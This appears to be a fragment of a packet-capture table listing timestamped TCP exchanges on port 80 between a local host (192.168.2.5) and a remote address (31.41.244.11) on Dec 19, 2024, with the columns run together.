                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.206157923 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.206222057 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.206280947 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.206327915 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.207446098 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.207521915 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.207571030 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.207631111 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.208192110 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.208240986 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.346040964 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.346151114 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.346163988 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.346210003 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.346533060 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.346582890 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.346656084 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.346704960 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.347613096 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.347737074 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.347786903 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.348624945 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.348675966 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.348768950 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.348817110 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.349646091 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.349807024 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.349859953 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.350681067 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.350851059 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.350908995 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.351741076 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.351820946 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.351882935 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.351969957 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.352780104 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.352905989 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.352953911 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.353825092 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.353935003 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.353966951 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.353991032 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.354830980 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.355036974 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.355088949 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.355878115 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.355936050 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.356004953 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.356280088 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.356920004 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.356986046 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.357059002 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.357120037 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.357980013 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.358104944 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.358120918 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.358155966 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.359019041 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.359076977 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.359152079 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.359198093 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.360055923 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.360121965 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.360200882 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.360255957 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.361073971 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.361140013 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.361200094 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.361247063 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.362082958 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.362185001 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.362246990 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.363136053 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.363192081 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.363270998 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.363399029 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.364171982 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.364238977 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.364301920 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.364351988 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.365200996 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.365291119 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.365354061 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.365451097 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.366269112 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.366338015 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.366391897 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.366442919 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.367362976 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.367418051 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.367512941 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.367603064 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.368314981 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.368474960 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.368529081 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.369384050 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.369479895 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.369534016 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.370394945 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.370445967 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.370522022 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.370580912 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.371474981 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.371562004 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.371570110 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.371632099 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.372467041 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.372606993 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.372663975 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.373498917 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.373641968 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.373687983 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.374547005 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.374674082 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.374727011 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.375559092 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.375610113 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.375699043 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.375755072 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.376626015 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.376682043 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.376743078 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.376795053 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.377676964 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.377790928 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.377846003 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.378680944 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.378765106 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.378825903 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.378959894 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.379729986 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.379786015 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.379847050 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.380757093 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.380811930 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.380891085 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.381819010 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.381872892 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.381982088 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.382114887 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.382834911 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.382904053 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.382980108 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.383038044 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.383858919 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.383917093 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.383994102 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.384063005 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.384893894 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.384959936 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.385046959 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.385097027 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.385989904 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.386118889 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.386128902 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.386974096 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.387029886 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.387109995 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.387489080 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.388000965 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.388057947 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.388139009 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.388189077 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.389065027 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.389185905 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.389236927 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.390084028 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.390218973 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.390275955 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.391119003 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.391175032 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.391251087 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.392179966 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.392235041 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.392278910 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.393131971 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.393209934 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.393282890 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.393400908 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.393452883 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.394247055 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.394393921 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.394409895 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.394440889 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.395277977 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.395410061 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.395462036 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.396313906 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.396440029 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.396507025 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.397372007 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.397428036 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.397502899 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.398124933 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.398375988 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.398417950 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.398493052 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.398539066 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.399424076 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.399476051 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.399538040 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.399585009 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.400388956 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.400440931 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.539115906 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.539174080 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.539223909 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.539459944 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.539628029 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.539737940 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.539788961 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.540424109 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.540473938 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.540550947 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.540602922 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.541470051 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.541534901 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.541610003 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.541791916 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.542490959 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.542644978 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.542706966 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.543560982 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.543615103 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.543690920 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.544475079 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.544547081 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.544789076 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.544837952 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.545614004 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.545665979 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.545739889 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.545788050 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.546643019 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.546698093 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.546772957 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.547712088 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.547777891 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.547821999 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.548738003 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.548804045 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.548865080 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.548916101 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.549767017 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.549901962 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.549957991 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.550781012 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.550934076 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.550996065 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.551836967 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.552037001 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.552093029 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.552877903 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.552948952 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.553004980 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.553066015 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.553894043 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.553977013 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.554049015 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.554212093 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.554935932 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.555121899 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.555145025 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.555187941 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.555999041 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.556056023 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.556143999 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.556190014 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.557010889 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.557117939 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.557147980 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.557193041 CET4983480192.168.2.531.41.244.11
